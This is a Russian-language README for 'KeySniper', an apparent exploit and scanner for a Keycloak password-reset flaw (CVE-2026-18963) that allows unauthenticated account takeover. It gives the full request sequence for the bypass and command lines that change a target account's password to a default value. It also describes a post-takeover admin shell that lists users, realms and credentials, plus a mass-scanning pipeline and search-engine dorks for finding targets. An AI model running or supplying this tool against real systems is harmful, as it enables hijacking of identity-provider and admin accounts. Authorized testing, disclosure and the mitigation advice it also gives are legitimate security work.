
**CVE-2026-18963** — неаутентифицированный захват учётной записи Keycloak через поток сброса учётных данных.

Автор: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — неаутентифицированный захват учётной записи Keycloak через поток сброса учётных данных.
KeySniper — это ориентированный на продакшн сканер для баг-баунти в рамках программы и авторизованных оценок: живой радарный вывод, обнаружение realm, определение «обнаружено vs захвачено», интерактивная оболочка после ATO и конвейер stdin (subfinder → httpx → KeySniper).
Режим по умолчанию — detect (--takeover 0). --takeover 1 изменяет пароль учётной записи на целевом хосте.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Слабый механизм восстановления пароля |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Продукт | Keycloak / Red Hat SSO |
| Исправлено в | 26.7.2, 26.6.6, 26.4.15 |
| Аутентификация | Не требуется |
Сцеплены две ошибки:
tryAnotherWay сохраняет общую заметку-селектор "true", которая не привязана к идентификатору выполнения.ResetCredentialEmail.action() вызывает context.success() без проверки ACTION_TOKEN_USER_ID.Результат: неаутентифицированный вызывающий может принудительно запустить поток сброса пароля для известного имени пользователя и попасть на UPDATE_PASSWORD, не переходя по ссылке из письма.
Сканирование — это не «существует ли forgot-password». Подтверждение:
execution= изменяется (утечка выполнения email)kc-passwd-update-formexec3 = 28e2cd30-… (первый селектор)
exec6 = 8fd21174-… (поворотный GET)
UPDATE_PASSWORD
[radar] (Location, JS, заголовки, проверка realm)302 Location + HTML/JS + well-known + словарь/authhttpx / subfinder--takeover 0 только обнаружение--takeover 1 установка пароля (по умолчанию SelaM1337@@)--shell интерактивная оболочка токена / помощник admin API после ATOVULN / ATO красный, SAFE зелёный, SKIP жёлтыйpython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Требуется Python 3.9+.
# обнаружение (без изменения пароля)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# захват + интерактивная оболочка
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / пользователь
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# конвейер
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# файл со списком
python3 KeySniper.py -l urls.txt --takeover 0 -q
Не передавайте --takeover 1 или --shell при конвейерном дампе.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ href forgot-password (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (если присутствует)
[6] GET исходный URL reset-credentials (поворот)
→ повторный рендер селектора + новый execution=
[7] POST устаревший селектор (без action token)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (только если --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update не считается VULN.
Открывается только после [ATO] на одиночной цели:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Использует предоставление пароля владельца ресурса (admin-cli, затем account).
HTTP 403 на /admin/realms означает, что Direct Access Grants / роль администратора ограничены — ATO всё ещё может быть действительным.
/realms/master, затем /auth/realms/masterLocation, HTML, JS, "realm":, issuer/realms/{name} возвращает 200 + тело Keycloak/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (в рамках программы):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ игнорируется, если в теле нет issuer / public_key / login-actionsSKIP (в realm сброс отключён)kc-passwd-update-form → SKIPhttpx обрезаются до origin (/auth сохраняется)Keycloak < 26.7.2 (также 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Смягчение: отключите Forgot Password во всех realm, затем обновитесь.
Скриншот в этом репозитории отредактирован (заполнитель sso.lab.local). Токены, пароли, email и реальные хосты не публикуются.
Mitsec
X: x.com/ynsmroztas
Исследовательское использование на авторизованных целях в рамках программы. Не запускайте --takeover 1 на хостах вне скоупа.
| Флаг | По умолчанию | Назначение |
|---|
-u URL | — | Одиночная цель |
-l FILE | — | Список URL |
| stdin | авто | строки httpx (первое поле = URL) |
--takeover 0|1 | 0 | Обнаружение vs изменение пароля |
-U USER | admin | Целевое имя пользователя |
-r REALM | auto | Принудительный realm или обнаружение |
--pass | SelaM1337@@ | Новый пароль, если takeover=1 |
-t N | 4 | Потоки конвейера |
-q | выкл | Только результаты |
--shell | выкл | Оболочка после ATO (одиночная цель) |
| Статус | Значение |
|---|
VULN | Поворот + UPDATE_PASSWORD (пароль не изменён) |
ATO | Шаг 8 выполнен успешно |
SAFE | Сброс открыт, устаревшего селектора нет (исправлено) |
SKIP | Не Keycloak / сброс отключён / утечка без формы UPDATE |
FAIL | Сетевая / непредвиденная ошибка |